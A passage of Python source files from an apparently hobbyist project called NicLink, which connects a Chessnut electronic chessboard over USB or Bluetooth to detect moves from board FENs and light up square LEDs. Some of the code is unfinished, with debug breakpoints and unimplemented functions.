logger: logging.Logger | None,
thread_sleep_delay=1,
bluetooth: bool = False,
):
"""initialize the link to the chessboard, and set up NicLink"""
# initialize the thread, as a daemon
threading.Thread.__init__(self, daemon=True)
# HACK: delay for how long threads should sleep, letting threads work
self.thread_sleep_delay = thread_sleep_delay
# ensure we have a logger
if logger is None:
self.logger = logging.getLogger(__name__)
else:
self.logger = logger
if bluetooth:
# connect the board w bluetooth
self.nl_interface = niclink.nl_bluetooth
else:
# connect with the external board usb
self.nl_interface = _niclink
self.refresh_delay = refresh_delay
try:
self.connect()
except Exception:
print("Error: Can not connect to the chess board. Is it connected \
and turned on?")
sys.exit("board connection error.")
# set NicLink values to defaults
self.reset()
"""
IE:
### Treading Events ###
# a way to kill the program from outside
self.game_over = threading.Event()
self.has_moved = threading.Event()
self.kill_switch = threading.Event()
self.start_game = threading.Event()
"""
# # threading lock # #
# used for access to critical vars to prevent race conditions
# and such
self.lock = threading.Lock()
def run(self) -> None:
"""run and wait for a game to begin
Raises:
ExitNicLink: to exit the NicLinkManager thread
"""
# run while kill_switch is not set
while not self.kill_switch.is_set():
if self.start_game.is_set():
self.logger.info("_run_game is set. (run)")
self._run_game()
time.sleep(self.thread_sleep_delay)
# disconnect from board
self.disconnect()
raise ExitNicLink(
"Thank you for using NicLink (raised in NicLinkManager.run()")
def _run_game(self) -> None:
"""handle a chess game over NicLink"""
# run a game, ie wait for GameOver event
self.game_over.wait()
# game is over, reset NicLink
self.reset()
self.logger.info(
"\n\n _run_game(...): game_over event set, resetting NicLink\n")
def connect(self, bluetooth: bool = False) -> None:
"""connect to the chessboard
@param: bluetooth - should we use bluetooth
"""
if bluetooth:
raise NotImplementedError
# connect to the chessboard, this must be done first
self.nl_interface.connect()
# FIX: give time for NL to connect
time.sleep(self.thread_sleep_delay)
testFEN = self.nl_interface.get_FEN()
time.sleep(self.thread_sleep_delay)
# make sure get_FEN is working
testFEN = self.nl_interface.get_FEN()
if testFEN == "" or None:
exceptionMessage = "Board initialization error. '' or None \
for FEN. Is the board connected and turned on?"
raise RuntimeError(exceptionMessage)
self.logger.info(f"Board initialized: initial fen: {testFEN}\n")
def disconnect(self) -> None:
"""disconnect from the chessboard"""
self.nl_interface.disconnect()
self.logger.info("\n-- Board disconnected --\n")
def beep(self) -> None:
"""make the chessboard beep"""
self.nl_interface.beep()
def reset(self) -> None:
"""reset NicLink"""
# this instances game board
self.game_board = chess.Board()
# the last move the user has played
self.last_move = None
# turn off all the lights
self.turn_off_all_LEDs()
# ## Treading Events ###
# a way to kill the program from outside
self.game_over = threading.Event()
self.has_moved = threading.Event()
self.kill_switch = threading.Event()
self.start_game = threading.Event()
self.logger.debug("NicLinkManager reset\n")
def set_led(self, square: str, status: bool) -> None:
"""set an LED at a given square to a status
@param: square (square: a1, e4 etc)
@param: status: True | False
@side_effect: changes led on chessboard
"""
global FILES
# find the file number by iteration
found = False
letter = square[0]
file_num = 0
while file_num < 8:
if letter == FILES[file_num]:
found = True
break
file_num += 1
# find the number by straight conversion, and some math.
num = int(square[1]) - 1 # it's 0 based
if not found:
raise ValueError(f"{square[1]} is not a valid file")
# this is supper fd, but the chessboard internally strt counting at h8
self.nl_interface.set_LED(7 - num, 7 - file_num, status)
def set_move_LEDs(self, move: str) -> None:
"""highlight a move. Light up the origin and destination LED
@param: move: a move in uci
@side_effect: changes board led's. Shut's off all led's,
and display's the move
"""
self.logger.info("man.set_move_LEDs( %s ) called\n", move)
move_led_map = build_led_map_for_move(move)
# log led map
self.logger.debug("move led map created. Move: %s \n map: ", move)
log_led_map(move_led_map, self.logger)
self.set_all_LEDs(move_led_map)
def set_all_LEDs(self, light_board: npt.NDArray[np.str_]) -> None:
"""set all led's on ext. chess board
@param: light_board - a list of len 8 made up of
str of len 8 with the 1 for 0 off
for the led of that square
"""
self.logger.debug("set_all_LEDs(light_board: np.ndarray[np.str_]): \
called with following light_board:")
log_led_map(light_board, self.logger)
# the pybind11 use 8 str, because it is difficult
# to use complex data structures between languages
self.nl_interface.set_all_LEDs(
str(light_board[0]),
str(light_board[1]),
str(light_board[2]),
str(light_board[3]),
str(light_board[4]),
str(light_board[5]),
str(light_board[6]),
str(light_board[7]),
)
def turn_off_all_LEDs(self) -> None:
"""turn off all the leds"""
self.nl_interface.lights_out()
def signal_lights(self, sig_num: int) -> None:
"""signal the user via displaying a set of lights on the board
@param: sig_num - the signal number corresponding to the signal to show
ie: 1 - ring of lights
2 - black half lit up
3 - white half lit up
4 - central line
5 - cross in center
6 - random stuff
@side effect - change the light's on the chess board
"""
if sig_num == 1:
"""signal 1 - ring of lights"""
sig = np.array(
[
"11111111",
"10000001",
"10111101",
"10100101",
"10100101",
"10111101",
"10000001",
"11111111",
],
dtype=np.str_,
)
self.set_all_LEDs(sig)
elif sig_num == 2:
"""signal 2 - black half lit up"""
sig = np.array(
[
"00000000",
"00000000",
"00000000",
"00000000",
"11111111",
"11111111",
"11111111",
"11111111",
],
dtype=np.str_,
)
self.set_all_LEDs(sig)
elif sig_num == 3:
"""signal 3 - white half lit up"""
sig = np.array(
[
"11111111",
"11111111",
"11111111",
"11111111",
"00000000",
"00000000",
"00000000",
"00000000",
],
dtype=np.str_,
)
self.set_all_LEDs(sig)
elif sig_num == 4:
"""Signal 4 - center line"""
sig = np.array(
[
"11111111",
"00000000",
"00000000",
"11111111",
"11111111",
"00000000",
"00000000",
"11111111",
],
dtype=np.str_,
)
self.set_all_LEDs(sig)
elif sig_num == 5:
"""Signal 5 - center cross"""
sig = np.array(
[
"00011000",
"01011010",
"00011000",
"11111111",
"11111111",
"00011000",
"01011010",
"00011000",
],
dtype=np.str_,
)
self.set_all_LEDs(sig)
elif sig_num == 6:
"""Signal 6 - crazy lights"""
sig = np.array(
[
"11000011",
"11011011",
"00011000",
"01100110",
"01100110",
"00011000",
"11011011",
"11000011",
],
dtype=np.str_,
)
self.set_all_LEDs(sig)
if self.last_move is not None:
time.sleep(0.4)
self.set_move_LEDs(self.last_move)
def get_FEN(self) -> str:
"""get the board FEN from chessboard"""
fen = self.nl_interface.get_FEN()
if fen is not None:
return fen
else:
raise NoNicLinkFEN("No fen got from board")
def put_board_FEN_on_board(self, boardFEN: str) -> chess.Board:
"""show just the board part of FEN on asci chessboard,
then return it for logging purposes
@param: boardFEN: just the board part of a fen,
ie: 8/8/8/8/8/8/8 for empty board ...
@return: a chess.Board with that board fen on it
"""
tmp_board = chess.Board()
tmp_board.set_board_fen(boardFEN)
print(tmp_board)
return tmp_board
def find_move_from_FEN_change(
self, new_FEN: str) -> str: # a move in coordinate notation
"""get the move that occurred to change the game_board fen
into a given FEN.
@param: new_FEN a board fen of the pos. of external board
to parse move from
return: the move in coordinate notation
"""
old_FEN = self.game_board.board_fen()
if new_FEN == old_FEN:
self.logger.debug("no fen difference. FEN was %s", old_FEN)
raise NoMove("No FEN difference")
self.logger.debug("new_FEN" + new_FEN)
self.logger.debug("old FEN" + old_FEN)
# get a list of the legal moves
legal_moves = list(self.game_board.legal_moves)
tmp_board = self.game_board.copy()
self.logger.debug(
"+++ find_move_from_FEN_change(...) called +++\n\
current board: \n%s\n board we are using to check legal moves: \n%s\n",
self.put_board_FEN_on_board(self.get_FEN()),
self.game_board,
)
# find move by brute force
for move in legal_moves:
# self.logger.info(move)
tmp_board.push(move) # Make the move on the board
# Check if the board's FEN matches the new FEN
if (tmp_board.board_fen() == new_FEN):
self.logger.info("move was found to be: %s", move)
return move.uci() # Return the last move
tmp_board.pop() # Undo the move and try another
error_board = chess.Board()
error_board.set_board_fen(new_FEN)
self.show_board_diff(error_board, self.game_board)
message = f"Board we see:\n{str(error_board)}\nis not a possible \
result from a legal move on:\n{str(self.game_board)}\n"
raise IllegalMove(message)
def check_game_board_against_external(self) -> bool:
"""check if the external board is a given board FEN
@param FEN: str: the FEN the ext board should be
@returns: if the external board FEN is == the FEN
"""
nl_FEN = self.nl_interface.get_FEN()
return self.game_board.board_fen() == nl_FEN
def check_for_move(self) -> bool | str:
"""check if there has been a move on the chessboard, and see if
is is valid. If so update self.last_move
@returns: self.last_move - the move got from the chessboard
"""
# ensure the move was valid
# get current FEN on the external board
new_FEN = self.nl_interface.get_FEN()
if new_FEN is None:
raise ValueError("No FEN from chessboard")
try:
# will cause an index error if game_board has no moves
last_move = self.game_board.pop()
# check if you just have not moved the opponent's piece
if new_FEN == self.game_board.board_fen():
self.logger.debug(
"board fen is the board fen before opponent move made on \
chessboard. Returning")
self.game_board.push(last_move)
time.sleep(self.refresh_delay)
return False
self.game_board.push(last_move)
except IndexError:
last_move = False # if it is an empty list of moves
if new_FEN != self.game_board.board_fen:
# a change has occurred on the chessboard
# check to see if the game is over
if self.game_over.is_set():
return False
# check if the move is valid, and set last move
try:
self.last_move = self.find_move_from_FEN_change(new_FEN)
except IllegalMove as err:
log_handled_exception(err)
self.logger.warning(
"\n===== move not valid, undue it and try again. \
it is white's turn? %s =====\n board we are using to check for moves:\n%s\n",
self.game_board.turn,
self.game_board,
)
# show the board diff from what we are checking for legal moves
logger.info(
"diff from board we are checking legal moves on:\n")
current_board = chess.Board(new_FEN)
self.show_board_diff(current_board, self.game_board)
# pause for the refresh_delay and allow other threads to run
time.sleep(self.refresh_delay)
return False
# return the move
with self.lock:
return self.last_move
else:
self.logger.debug("no change in FEN.")
self.turn_off_all_LEDs()
# pause for a refresher
time.sleep(self.refresh_delay)
return False
def await_move(self) -> str | None:
"""wait for legal move, and return it in coordinate notation after
making it on internal board
"""
global NO_MOVE_DELAY
# loop until we get a valid move
attempts = 0
while not self.kill_switch.is_set():
self.logger.debug("is game_over threading event set? %s",
self.game_over.is_set())
# check for a move. If it move, return it else False
try:
move = False
# check if the game is over
if self.game_over.is_set():
return
if self.check_for_move():
move = self.get_last_move()
if move: # if we got a move, return it and exit
self.logger.info(
"move %s made on external board. there where %s \
attempts to get",
move,
attempts,
)
return move
else:
self.logger.debug("no move")
# if move is false continue
continue
except NoMove:
# no move made, wait refresh_delay and continue
attempts += 1
self.logger.debug("NoMove from chessboard. Attempt: %s",
attempts)
time.sleep(NO_MOVE_DELAY)
continue
except IllegalMove as err:
# IllegalMove made, waiting then trying again
attempts += 1
self.logger.error(
"\nIllegal Move: %s | waiting NO_MOVE_DELAY= %s and" +
" checking again.\n",
err,
NO_MOVE_DELAY,
)
time.sleep(NO_MOVE_DELAY)
continue
# exit Niclink
raise ExitNicLink("in await_move():\nkill_switch.is_set: %s" %
(self.kill_switch.is_set(), ))
def get_last_move(self) -> str:
"""get the last move played on the chessboard"""
with self.lock:
if self.last_move is None:
raise ValueError("ERROR: last move is None")
return self.last_move
def make_move_game_board(self, move: str) -> None:
"""make a move on the internal rep. of the game_board.
do not update the last move made, or the move LED's on ext board.
This is not done automatically so external program's
can have more control.
@param: move - move in uci str
"""
self.logger.info("move made on game board. move %s", move)
self.game_board.push_uci(move)
self.logger.debug(
"made move on internal nl game board, BOARD POST MOVE:\n%s",
self.game_board,
)
def set_board_FEN(self, board: chess.Board, FEN: str) -> None:
"""set a board up according to a FEN"""
chess.Board.set_board_fen(board, fen=FEN)
def set_game_board_FEN(self, FEN: str) -> None:
"""set the internal game board FEN"""
self.set_board_FEN(self.game_board, FEN)
def show_FEN_on_board(self, FEN: str) -> chess.Board:
"""print a FEN on on a chessboard
@param: FEN - (str) FEN to display on board
@returns: a board with the fen on it
"""
board = chess.Board()
self.set_board_FEN(board, FEN)
print(board)
return board # for logging purposes
def show_board_state(self) -> None:
"""show the state of the real world board"""
curFEN = self.get_FEN()
self.show_FEN_on_board(curFEN)
def show_game_board(self) -> None:
"""print the internal game_board. Return it for logging purposes"""
print(self.game_board)
def set_game_board(self, board: chess.Board) -> None:
"""set the game board
@param: board - the board to set as the game board
"""
with self.lock:
self.game_board = board
def gameover_lights(self) -> None:
"""show some fireworks"""
self.nl_interface.gameover_lights()
def square_in_last_move(self, square: str) -> bool:
"""is the square in the last move?
@param: square - a square in algebraic notation
@returns: bool - if the last move contains that square
"""
if self.last_move:
if square in self.last_move:
return True
return False
def show_board_diff(self, board1: chess.Board,
board2: chess.Board) -> bool:
"""show the difference between two boards and output difference on
the chessboard
@param: board1 - reference board
@param: board2 - board to display diff from reference board
@side_effect: changes led's to show diff squares
@returns: bool - if there is a diff
"""
self.logger.debug(
"man.show_board_diff entered w board's \n%s\nand\n%s",
board1,
board2,
)
# go through the squares and turn on the light for ones pieces are
# misplaced
diff = False
# for building the diff array that work's for the way we set LED's
zeros = "00000000"
diff_squares = [] # what squares are the diff's on
diff_map = np.copy(ZEROS)
for n in range(0, 8):
# handle diff's for a file
for a in range(ord("a"), ord("h")):
# get the square in algebraic notation form
square = chr(a) + str(n + 1) # real life is not 0 based
py_square = chess.parse_square(square)
if board1.piece_at(py_square) != board2.piece_at(py_square):
# record the diff in diff array, while
# keeping the last move lit up
if not self.square_in_last_move(square):
diff = True
self.logger.info(
"""man.show_board_diff(...): Diff found at \
square %s""",
square,
)
# add square to list off diff squares
diff_cords = square_cords(square)
diff_squares.append(square)
diff_map[diff_cords[1]] = (zeros[:diff_cords[0]] + "1" +
zeros[diff_cords[0]:])
if diff:
# set all the led's that differ
self.set_all_LEDs(diff_map)
self.logger.warning(
"show_board_diff: diff found --> diff_squares: %s\n",
diff_squares,
)
self.logger.debug("diff boards:\nInternal Board:\n" + str(board2) +
"\nExternal board:\n" + str(board1) + "\n")
self.logger.debug("diff map made:")
log_led_map(diff_map, self.logger)
print("diff from game board --> diff_squares: %s\n" % diff_squares)
else:
if self.last_move is not None:
# set the last move lights for last move
self.set_move_LEDs(self.last_move)
return diff
def get_game_FEN(self) -> str:
"""get the game board FEN"""
return self.game_board.fen()
def is_game_over(self, ) -> dict | bool:
"""is the internal game over?"""
if self.game_board.is_checkmate():
return {
"over": True,
"winner": self.game_board.turn,
"reason": "checkmate",
}
if self.game_board.is_stalemate():
return {"over": True, "winner": False, "reason": "Is a stalemate"}
if self.game_board.is_insufficient_material():
return {
"over": True,
"winner": False,
"reason": "Is insufficient material",
}
if self.game_board.is_fivefold_repetition():
return {
"over": True,
"winner": False,
"reason": "Is fivefold repetition.",
}
if self.game_board.is_seventyfive_moves():
return {
"over":
True,
"winner":
False,
"reason":
"A game is automatically drawn if the half-move clock" +
" since a capture or pawn move is equal to or greater" +
" than 150. Other means to end a game take precedence.",
}
return False
def opponent_moved(self, move: str) -> None:
"""the other player moved in a chess game.
Signal LEDS_changed and update last move
@param: move - the move in a uci str
@side_effect: set's move led's
"""
self.logger.debug("opponent moved %s", move)
self.last_move = move
self.set_move_LEDs(move)
# === helper functions ===
def square_cords(square) -> tuple[int, int]:
"""find coordinates for a given square on the chess board. (0, 0)
is a1.
@params: square - std algebraic square, ie b3, a8
@returns: tuple of the (x, y) coord of the square (0 based) (file, rank)
"""
global FILES
rank = int(square[1]) - 1 # it's 0 based
# find the file number by iteration
found = False
letter = square[0]
file_num = 0
while file_num < 8:
if letter == FILES[file_num]:
found = True
break
file_num += 1
if not found:
raise ValueError(f"{square[0]} is not a valid file")
return (file_num, rank)
def log_led_map(led_map: npt.NDArray[np.str_], logger) -> None:
"""log led map pretty 8th file to the top"""
logger.debug("\nLOG LED map:\n")
logger.debug(str(led_map[7]))
logger.debug(str(led_map[6]))
logger.debug(str(led_map[5]))
logger.debug(str(led_map[4]))
logger.debug(str(led_map[3]))
logger.debug(str(led_map[2]))
logger.debug(str(led_map[1]))
logger.debug(str(led_map[0]))
def build_led_map_for_move(move: str) -> npt.NDArray[np.str_]:
"""build the led_map for a given uci move
@param: move - move in uci
@return: constructed led_map
"""
global logger, ZEROS
zeros = "00000000"
logger.debug("build_led_map_for_move(%s)", move)
led_map = np.copy(ZEROS)
# get the square cords and the coordinates
s1 = move[:2]
s2 = move[2:]
s1_cords = square_cords(s1)
s2_cords = square_cords(s2)
# if they are not on the same rank
if s1_cords[1] != s2_cords[1]:
# set 1st square
led_map[s1_cords[1]] = (zeros[:s1_cords[0]] + "1" +
zeros[s1_cords[0]:])
logger.debug("map after 1st move cord (cord): %s", s1_cords)
log_led_map(led_map, logger)
# set second square
led_map[s2_cords[1]] = (zeros[:s2_cords[0]] + "1" +
zeros[s2_cords[0]:])
logger.debug("led map made for move: %s\n", move)
log_led_map(led_map, logger)
# if they are on the same rank
else:
rank = list(zeros)
rank[s1_cords[0]] = "1"
rank[s2_cords[0]] = "1"
logger.debug("led rank computed", rank)
rank_str = "".join(rank)
# insert into led_map as numpy string
led_map[s1_cords[1]] = np.str_(rank_str)
return led_map
# ==== logger setup ====
def set_up_logger() -> None:
"""Only run when this module is run as __main__"""
global logger
formatter = logging.Formatter(
"%(asctime)s %(levelname)s %(module)s %(message)s")
consoleHandler = logging.StreamHandler(sys.stdout)
consoleHandler.setFormatter(formatter)
consoleHandler.setLevel(logging.ERROR)
logger.addHandler(consoleHandler)
# logging to a file
fileHandler = logging.FileHandler("NicLink.log")
logger.addHandler(fileHandler)
DEBUG = False
if DEBUG:
logger.info("DEBUG is set.")
logger.setLevel(logging.DEBUG)
fileHandler.setLevel(logging.DEBUG)
consoleHandler.setLevel(logging.DEBUG)
else:
logger.info("DEBUG not set")
fileHandler.setLevel(logging.INFO)
logger.setLevel(logging.ERROR)
consoleHandler.setLevel(logging.ERROR)
# === exception logging ===
# log unhandled exceptions to the log file
def log_except_hook(excType, excValue, traceback):
global logger
logger.error("Uncaught exception", exc_info=(excType, excValue, traceback))
def log_handled_exception(exception: Exception) -> None:
"""log a handled exception"""
global logger
logger.debug("Exception handled: %s", exception)
# setup except hook
sys.excepthook = log_except_hook
| 30,336 | Python | .py | 768 | 28 | 237 | 0.541946 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,615 | constants.py | nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/constants.py | """ Constant used in the program"""
# When the board is first connected it is necessary to send it a three byte initialisation code:
INITIALIZASION_CODE = b"\x21\x01\x00"
# The board will then send back a three byte confirmation code:
CONFIRMATION_CHARACTERISTICS = b"\x21\x01\x00"
# The signals from the board consist of a sequence of 38 bytes. The first two are:
HEAD_BUFFER = b"\x01\x24"
# Communications using BLE
DEVICELIST = ["Chessnut Air", "Smart Chess"]
WRITECHARACTERISTICS = "1B7E8272-2877-41C3-B46E-CF057C562023"
READCONFIRMATION = "1B7E8273-2877-41C3-B46E-CF057C562023"
READDATA = "1B7E8262-2877-41C3-B46E-CF057C562023"
# Within each byte the lower 4 bits represent the
# first square and the higher 4 bits represent the
# second square
MASKLOW = 0b00001111
# Each square has a value specifying the piece:
convertDict = {
0: " ",
1: "q",
2: "k",
3: "b",
4: "p",
5: "n",
6: "R",
7: "P",
8: "r",
9: "B",
10: "N",
11: "Q",
12: "K",
}
| 1,000 | Python | .py | 32 | 28.53125 | 96 | 0.697409 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,616 | __init__.py | nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/__init__.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import asyncio
from bleak import BleakClient
from .constants import (
INITIALIZASION_CODE,
MASKLOW,
READCONFIRMATION,
READDATA,
WRITECHARACTERISTICS,
convertDict,
)
from .discovery import GetChessnutAirDevices
""" A api for getting the FEN etc. from the board with bluetooth """
currentFEN = None
oldData = None
CLIENT = None
# the values for specifying the square in rowan LED
ROW_SQUARE_VALUES = [128, 64, 32, 16, 8, 4, 2, 1]
# keeps track of what led's are on.
led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
def connect() -> None: # -> bool:
"""try to connect to the board over bluetooth"""
connect = GetChessnutAirDevices()
# get device
asyncio.run(connect.discover())
# connect to device
asyncio.run(run(connect))
def disconnect():
"""disscoiiect from the chessboard"""
print("BLUETOOTH DISCONECT. WHY WOULD I cALL THIS?")
def beep():
"""make the chessboard beep"""
print("BEEP")
def get_FEN() -> str | None:
"""get the FEN from the chessboard over bluetooth"""
print("BLUETOOTH get fen")
return currentFEN
def lightsOut():
"""turn off all the chessboard lights"""
print("lights out bt")
led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
# send the led bytearray with all zero for last 8 bytes
CLIENT.write_gatt_char(WRITECHARACTERISTICS, led)
def set_LED(x, y, status) -> None:
"""set a led on the chessboard"""
set_bit(led, y, status)
CLIENT.write_gatt_char(WRITECHARACTERISTICS, led)
def set_all_LEDs(ln1, ln2, ln3, ln4, ln5, ln6, ln7, ln8):
raise NotImplemented
def updateFEN(data):
"""update the currentFEN
first two bytes should be 0x01 0x24.
The next 32 bytes specify the position.
Each square has a value specifying the piece:
Value 0 1 2 3 4 5 6 7 8 9 A B C
Piece . q k b p n R P r B N Q K
q k b p n R P r B N Q K
Each of the 32 bytes represents two squares with the order being the squares labelled
H8,G8,F8...C1,B1,A1. Within each byte the lower 4 bits represent the first square and the
higher 4 bits represent the second square. This means that if the 32 bits were written out in
normal hex characters the pairs would actually appear reversed.
For example, the 32 bytes for the normal starting position with black on the 7th and 8th ranks
would be shown as:
58 23 31 85 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 77 77 77 77 A6 C9 9B 6A
So the first byte's value of 0x58 means a black rook (0x8) on H8 and a black knight (0x5) on
G8 and the second byte's value of 0x23 means a black bishop (0x3) on F8 and a black king (0x2)
on E8.
"""
chessboard = [8]
for col_num in range(0, 8):
empty = 0 # a value for setting empty part's of the fen
row = reversed(data[col_num * 4 : col_num * 4 + 4])
print(row)
# chessboard[col_num] = row
byte_num = 0
convertedRow = []
for b in row:
breakpoint()
if b >> 4 == 0:
empty += 1
breakpoint()
continue
convertedRow[byte_num] = (convertDict[b >> 4], convertDict[b & MASKLOW])
byte_num += 1
chessboard[col_num] = convertedRow
print(chessboard)
def set_bit(v, index, x):
"""Set the index:th bit of v to 1 if x is truthy,
else to 0, and return the new value."""
mask = 1 << index # Compute mask, an integer with just bit 'index' set.
v &= ~mask # Clear the bit indicated by the mask (if x is False)
if x:
v |= mask # If x was True, set the bit indicated by the mask.
return v # Return the result, we're done.
def printBoard(data):
"""Print the board in a human readable format.
first two bytes should be 0x01 0x24.
The next 32 bytes specify the position.
Each square has a value specifying the piece:
Value 0 1 2 3 4 5 6 7 8 9 A B C
Piece . q k b p n R P r B N Q K
q k b p n R P r B N Q K
Each of the 32 bytes represents two squares with the order being the squares labelled
H8,G8,F8...C1,B1,A1. Within each byte the lower 4 bits represent the first square and the
higher 4 bits represent the second square. This means that if the 32 bits were written out in
normal hex characters the pairs would actually appear reversed.
For example, the 32 bytes for the normal starting position with black on the 7th and 8th ranks
would be shown as:
58 23 31 85 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 77 77 77 77 A6 C9 9B 6A
So the first byte's value of 0x58 means a black rook (0x8) on H8 and a black knight (0x5) on
G8 and the second byte's value of 0x23 means a black bishop (0x3) on F8 and a black king (0x2)
on E8.
"""
for counterColum in range(0, 8):
print(8 - counterColum, " ", end=" ")
row = reversed(data[counterColum * 4 : counterColum * 4 + 4])
for b in row:
print(convertDict[b >> 4], convertDict[b & MASKLOW], end=" ")
print("")
print(" a b c d e f g h\n\n")
async def leds(data):
"""Switch on all non empty squares.
The other data sent to the board controls the LEDs. There are two control bytes and 8 data
bytes:
0x0A 0x08 <R8> <R7> <R6> <R5> <R4> <R3> <R2> <R1>
where the 8 bytes represent the LEDs with one byte for each row of the board. The first byte
is for the row furthest away (labelled A8..H8).
For each byte the value is determined by whether the LED for each square needs to be on
or off. If the square is off then it will have a value of 0 and if it needs to be on then the value
will be based on the square position in the row, with values being:
128 64 32 16 8 4 2 1
The values for all the squares in the row are added together, meaning the maximum value of
the byte is 255 which would occur if all of the LEDs in the row were turned on. So to show
the move E2-E4 (with the board in the normal, non-flipped position) the ten bytes (including
the controls) would be:
0A 08 00 00 00 00 08 00 08 00
To turn off all LEDs you just send the 10 bytes with the last 8 bytes all as zero values
"""
led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
for counterColum in range(0, 8):
row = data[counterColum * 4 : counterColum * 4 + 4]
for counter, b in enumerate(row):
v = led[counterColum + 2]
n1 = convertDict[b & MASKLOW]
if n1.isalnum():
v = set_bit(v, counter * 2, 1)
led[counterColum + 2] = v
n2 = convertDict[b >> 4]
if n2.isalnum():
v = set_bit(v, counter * 2 + 1, 1)
led[counterColum + 2] = v
await CLIENT.write_gatt_char(WRITECHARACTERISTICS, led)
async def run(connect, debug=False):
"""Connect to the device and run the notification handler.
then read the data from the device. after 100 seconds stop the notification handler.
"""
print("device.adress: ", connect.device.address)
async def notification_handler(characteristic, data):
"""Handle the notification from the device and print the board."""
global oldData
# print("data: ", ''.join('{:02x}'.format(x) for x in data))
if data[2:34] != oldData:
# printBoard(data[2:34])
updateFEN(data[2:34])
await leds(data[2:34])
oldData = data[2:34].copy()
global CLIENT
async with BleakClient(connect.device) as client:
# TODO: this global variable is a derty trick
CLIENT = client
print(f"Connected: {client.is_connected}")
# send initialisation string
await client.start_notify(
READDATA, notification_handler
) # start the notification handler
await client.write_gatt_char(
WRITECHARACTERISTICS, INITIALIZASION_CODE
) # send initialisation string
await asyncio.sleep(100.0) ## wait 100 seconds
await client.stop_notify(READDATA) # stop the notification handler
def gameover_lights() -> None:
"""just to remind me"""
raise NotImplemented()
if __name__ == "__main__":
c = GetChessnutAirDevices()
# get device
asyncio.run(c.discover())
# connect to device
asyncio.run(run(c))
| 9,097 | Python | .py | 195 | 40.169231 | 237 | 0.660833 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,617 | discovery.py | nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/discovery.py | """Discover chessnut Air devices.
See pdf file Chessnut_comunications.pdf
for more information."""
import asyncio
import logging
from bleak import BleakScanner, BleakClient
from bleak.backends.device import BLEDevice
from bleak.backends.scanner import AdvertisementData
# from constants import DEVICELIST
from .constants import DEVICELIST
class GetChessnutAirDevices:
"""Class created to discover chessnut Air devices.
It returns the first device with a name that maches
the names in DEVICELIST.
"""
def __init__(self, timeout=10.0):
self.deviceNameList = DEVICELIST # valid device name list
self.device = self.advertisement_data = None
def filter_by_name(
self,
device: BLEDevice,
advertisement_data: AdvertisementData,
) -> None:
"""Callback for each discovered device.
return True if the device name is in the list of
valid device names otherwise it returns False"""
if any(ext in device.name for ext in self.deviceNameList):
self.device = device
return True
else:
return False
async def discover(self, timeout=10.0):
"""Scan for chessnut Air devices"""
print("scanning, please wait...")
await BleakScanner.find_device_by_filter(self.filter_by_name)
if self.device is None:
print("No chessnut Air devices found")
return
print("done scanning")
# if __name__ == "__main__":
# connect = GetChessnutAirDevices()
# asyncio.run(connect.discover())
| 1,576 | Python | .py | 42 | 31.190476 | 69 | 0.686802 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,618 | main.py | nicvagn_NicLink/nicsoft/niclink/nl_bluetooth/main.py | from discovery import GetChessnutAirDevices
import asyncio
from bleak import BleakClient
from constants import (
INITIALIZASION_CODE,
WRITECHARACTERISTICS,
READCONFIRMATION,
READDATA,
convertDict,
MASKLOW,
)
oldData = None
CLIENT = None
def printBoard(data):
"""Print the board in a human readable format.
first two bytes should be 0x01 0x24.
The next 32 bytes specify the position.
Each square has a value specifying the piece:
Value 0 1 2 3 4 5 6 7 8 9 A B C
Piece . q k b p n R P r B N Q K
q k b p n R P r B N Q K
Each of the 32 bytes represents two squares with the order being the squares labelled
H8,G8,F8...C1,B1,A1. Within each byte the lower 4 bits represent the first square and the
higher 4 bits represent the second square. This means that if the 32 bits were written out in
normal hex characters the pairs would actually appear reversed.
For example, the 32 bytes for the normal starting position with black on the 7th and 8th ranks
would be shown as:
58 23 31 85 44 44 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 77 77 77 77 A6 C9 9B 6A
So the first byte's value of 0x58 means a black rook (0x8) on H8 and a black knight (0x5) on
G8 and the second byte's value of 0x23 means a black bishop (0x3) on F8 and a black king (0x2)
on E8.
"""
for counterColum in range(0, 8):
print(8 - counterColum, " ", end=" ")
row = reversed(data[counterColum * 4 : counterColum * 4 + 4])
for b in row:
print(convertDict[b >> 4], convertDict[b & MASKLOW], end=" ")
print("")
print(" a b c d e f g h\n\n")
async def leds(data):
"""Switch on all non empty squares.
The other data sent to the board controls the LEDs. There are two control bytes and 8 data
bytes:
0x0A 0x08 <R8> <R7> <R6> <R5> <R4> <R3> <R2> <R1>
where the 8 bytes represent the LEDs with one byte for each row of the board. The first byte
is for the row furthest away (labelled A8..H8).
For each byte the value is determined by whether the LED for each square needs to be on
or off. If the square is off then it will have a value of 0 and if it needs to be on then the value
will be based on the square position in the row, with values being:
128 64 32 16 8 4 2 1
The values for all the squares in the row are added together, meaning the maximum value of
the byte is 255 which would occur if all of the LEDs in the row were turned on. So to show
the move E2-E4 (with the board in the normal, non-flipped position) the ten bytes (including
the controls) would be:
0A 08 00 00 00 00 08 00 08 00
To turn off all LEDs you just send the 10 bytes with the last 8 bytes all as zero values
"""
def set_bit(v, index, x):
